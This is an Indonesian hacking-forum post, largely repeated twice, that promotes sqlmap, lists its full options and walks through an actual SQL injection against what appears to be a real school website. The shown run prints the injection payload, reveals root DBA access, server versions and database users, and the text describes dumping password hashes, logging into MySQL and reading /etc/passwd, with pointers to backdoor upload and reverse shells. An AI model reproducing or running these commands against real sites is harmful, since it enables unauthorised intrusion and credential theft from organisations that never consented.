08-11-2013, 05:24 PM
THE POWER OF SQLMAP
Yoo kembali lagi bersama ane .. Ane mau ngeShare beberapa kekuatan dari Sqlmap berhubung sudah banyak thread tentang kekuatan SQLmap disini, ane mau share beberapa kekuatan yang belum dishare dimari sekaligus ane rapihin kekuatannya biar Maknyooss dibaca dan dipelajarinya
Sebelumnya sudah banyak thread tentang SQLmap beserta tekniknya .. jadi mohon dibaca dulu Thread sebelumnya ! supaya tidak menimbulkan pertanyaan-pertanyaan ganda/double question.
Berikut THE POWER OF SQLmap :
[hide]
A. Dasar-dasar SQLMAP (WAJIB!)
1. Update SQLmap disini biar lebih afdol Injeksinya.
2. Gagal Update/SQLmap Error? Solusinya.
3. Tips sederhana menggunakan SQLmap disini,disini dan disini.
B. Teknik-teknik SQLMAP.
1. Apakah bisa upload backdoor dengan sqlmap? jawabannya "bisa" - [url=http://indonesianbacktrack.or.id/forum/showthread.php?tid=2475&highlight=spawn"]Upload Backdoor with SQLmap[/url]
2. Bagaimana cara melakukan back connection dengan SQLmap? jawabannya Back Connect With SQLMap.
3. Menghubungkan SQLmap dengan Metasploit fungsinya sama seperti no 1 dan 2 . Integrasi SQLmap dengan METASPLOIT.
4. Menggunakan Proxy, SQL dan ToR.
5. SQLmap dengan option --search,disini.
6. Ubah/Ganti isi column Database? bisa dengan syarat
[/hide]
7. Get file /etc/passwd with SQLmap , ada diThread ini
[hide]
C. Hal lain tentang SQLMAP.
1. Memanggil SQLmap menjadi lebih mudah. -> Fast SQLmap
2. Clone SQLmap github diKali-Linux ,disini .
3. E-Book SQLi SQLmap,disini.
[/hide]
Diatas adalah index tentang kekuatan SQLmap yang sudah dipernah dibahas oleh teman-teman kita .
Selanjutnya ane mau share kekuatan sqlmap yang lain nih
Ini adalah Options Lengkap SQLmap [Perhatikan baik-baik Fungsinya]
[hide]
Usage: python ./sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to set the target(s)
-d DIRECT Direct connection to the database
-u URL, --url=URL Target URL (e.g. "www.target.com/vuln.php?id=1")
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
-m BULKFILE Scan multiple targets enlisted in a given textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST
--param-del=PDEL Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header
--host=HOST HTTP Host header
--referer=REFERER HTTP Referer header
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=ATYPE HTTP authentication type (Basic, Digest, NTLM or Cert)
--auth-cred=ACRED HTTP authentication credentials (name:password)
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
--proxy=PROXY Use a HTTP proxy to connect to the target URL
--proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
--ignore-proxy Ignore system default HTTP proxy
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFURL URL address to visit frequently during testing
--safe-freq=SAFREQ Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to this value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-order=S.. Resulting page URL searched for second-order response
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behaviour
--charset=CHARSET Force character encoding used for data retrieval
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--hex Use DBMS hex function(s) for data retrieval
--output-dir=ODIR Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--pivot-column=P.. Pivot column name
--save Save options to a configuration INI file
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--update Update sqlmap
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run shell command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Make a beep sound when SQL injection is found
--check-waf Heuristically check for WAF/IPS/IDS protection
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a through testing for a WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--page-rank Display page rank (PR) for Google dork results
--purge-output Safely remove all content from output directory
--smart Conduct through tests only if positive heuristic(s)
--wizard Simple wizard interface for beginner users
[*]shutting down at 14:09:20
[/hide]
Dalam kasus ini, Ane mau menggunakan Options berikut
[hide]
[*]
penjelasan options tersebut ada dispoiler diatas yahh, jangan malas membaca :* .
[/hide]
Dan berikut hasil Injeksinya
Images :
[hide]
[*]
[*]
[/hide]
Sudah dilihat kita mendapatkan User dan Password MYSQL Server tersebut !
Langkah selanjutnya kita bisa Login ke database mysql tersebut, dengan command
[hide]
[*]
[*]
berhubung password diatas belum ke crack jadinya ane gk bisa demoin yah silahkan demo sendiri. hehehehe
[/hide]
Selanjutnya ane mau coba ambil file /etc/passwd diserver tersebut , dengan perintah
[hide]
[*]
sebenernya kita juga bisa ambil file /etc/shadow dan /etc/named.conf dikasus ini ane cuma ambil file /etc/passwd saja.
[/hide]
hasilnya :
[hide]
[*][*]
[*]
[/spolier]
Dan WOW !! kita dapat file /etc/passwd
[spoiler]
[*][*]
[*]
[/hide]
Sampai saat ini ane kira cukup untuk PAWNED Database dengan SQLmap ^^ . Sisanya bisa dilanjutkan dengan teknik-teknik lainnya seperti rooting,dln.
Kekuatan lainnya nyusul yah,Mungkin sisanya temen-temen yang lain ada yang mau nambahin ...
Sekian dan terimakasih
[*][*]
[*]
aduh itu urlnya tolong benerin yah om moderator/admin
Yoo kembali lagi bersama ane .. Ane mau ngeShare beberapa kekuatan dari Sqlmap berhubung sudah banyak thread tentang kekuatan SQLmap disini, ane mau share beberapa kekuatan yang belum dishare dimari sekaligus ane rapihin kekuatannya biar Maknyooss dibaca dan dipelajarinya
Sebelumnya sudah banyak thread tentang SQLmap beserta tekniknya .. jadi mohon dibaca dulu Thread sebelumnya ! supaya tidak menimbulkan pertanyaan-pertanyaan ganda/double question.
Berikut THE POWER OF SQLmap :
[hide]
A. Dasar-dasar SQLMAP (WAJIB!)
1. Update SQLmap disini biar lebih afdol Injeksinya.
2. Gagal Update/SQLmap Error? Solusinya.
3. Tips sederhana menggunakan SQLmap disini,disini dan disini.
B. Teknik-teknik SQLMAP.
1. Apakah bisa upload backdoor dengan sqlmap? jawabannya "bisa" - [url=http://indonesianbacktrack.or.id/forum/showthread.php?tid=2475&highlight=spawn"]Upload Backdoor with SQLmap[/url]
2. Bagaimana cara melakukan back connection dengan SQLmap? jawabannya Back Connect With SQLMap.
3. Menghubungkan SQLmap dengan Metasploit fungsinya sama seperti no 1 dan 2 . Integrasi SQLmap dengan METASPLOIT.
4. Menggunakan Proxy, SQL dan ToR.
5. SQLmap dengan option --search,disini.
6. Ubah/Ganti isi column Database? bisa dengan syarat
[/hide]
7. Get file /etc/passwd with SQLmap , ada diThread ini
[hide]
C. Hal lain tentang SQLMAP.
1. Memanggil SQLmap menjadi lebih mudah. -> Fast SQLmap
2. Clone SQLmap github diKali-Linux ,disini .
3. E-Book SQLi SQLmap,disini.
[/hide]
Diatas adalah index tentang kekuatan SQLmap yang sudah dipernah dibahas oleh teman-teman kita .
Selanjutnya ane mau share kekuatan sqlmap yang lain nih
Ini adalah Options Lengkap SQLmap [Perhatikan baik-baik Fungsinya]
Spoiler! :
[hide]
Usage: python ./sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to set the target(s)
-d DIRECT Direct connection to the database
-u URL, --url=URL Target URL (e.g. "www.target.com/vuln.php?id=1")
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
-m BULKFILE Scan multiple targets enlisted in a given textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST
--param-del=PDEL Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header
--host=HOST HTTP Host header
--referer=REFERER HTTP Referer header
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=ATYPE HTTP authentication type (Basic, Digest, NTLM or Cert)
--auth-cred=ACRED HTTP authentication credentials (name:password)
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
--proxy=PROXY Use a HTTP proxy to connect to the target URL
--proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
--ignore-proxy Ignore system default HTTP proxy
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFURL URL address to visit frequently during testing
--safe-freq=SAFREQ Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to this value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-order=S.. Resulting page URL searched for second-order response
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behaviour
--charset=CHARSET Force character encoding used for data retrieval
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--hex Use DBMS hex function(s) for data retrieval
--output-dir=ODIR Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--pivot-column=P.. Pivot column name
--save Save options to a configuration INI file
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--update Update sqlmap
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run shell command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Make a beep sound when SQL injection is found
--check-waf Heuristically check for WAF/IPS/IDS protection
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a through testing for a WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--page-rank Display page rank (PR) for Google dork results
--purge-output Safely remove all content from output directory
--smart Conduct through tests only if positive heuristic(s)
--wizard Simple wizard interface for beginner users
[*]shutting down at 14:09:20
[/hide]
[hide]
Quote:--current-user --is-dba --current-db --hostname --dbs --users --passwords --threads=10 --hex --privileges
[*]
penjelasan options tersebut ada dispoiler diatas yahh, jangan malas membaca :* .
[/hide]
Dan berikut hasil Injeksinya
Images :
Spoiler! :
[hide]
Code:
Doctor0L@Dark:/pentest/database/sqlmap# ./sqlmap.py -u "http://xxxxxx.sch.id/?p=katberita&id=12" --current-user --is-dba --current-db --hostname --dbs --users --passwords --threads=10 --hex --privileges
sqlmap/1.0-dev-b921ff0 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:13:08
[15:13:08] [INFO] resuming back-end DBMS 'mysql'
[15:13:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: p=katberita&id=-2201' UNION ALL SELECT NULL,CONCAT(0x7170657571,0x78764f4d76784f574250,0x7176796571),NULL#
---
[15:13:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5
[15:07:35] [INFO] fetching current user
current user: 'root@localhost'
[15:07:36] [INFO] fetching current database
current database: 'smk'
[15:07:36] [INFO] fetching server hostname
hostname: 'server'
[15:07:36] [INFO] testing if current user is DBA
[15:07:36] [INFO] fetching current user
current user is DBA: True
[15:07:36] [INFO] fetching database users
[15:07:37] [INFO] the SQL query used returns 137 entries
[15:07:37] [INFO] starting 10 threads
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:37] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:38] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'localhost'"
[15:07:39] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'localhost'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'localhost'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:40] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:41] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'server'"
[15:07:42] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:42] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:42] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:42] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:43] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:44] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:45] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:45] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:45] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:45] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:45] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:45] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:45] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:45] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:45] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:45] [INFO] retrieved: "'root'@'127.0.0.1'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'root'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:46] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:47] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:48] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:48] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:48] [INFO] retrieved: "'root'@'server'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:48] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
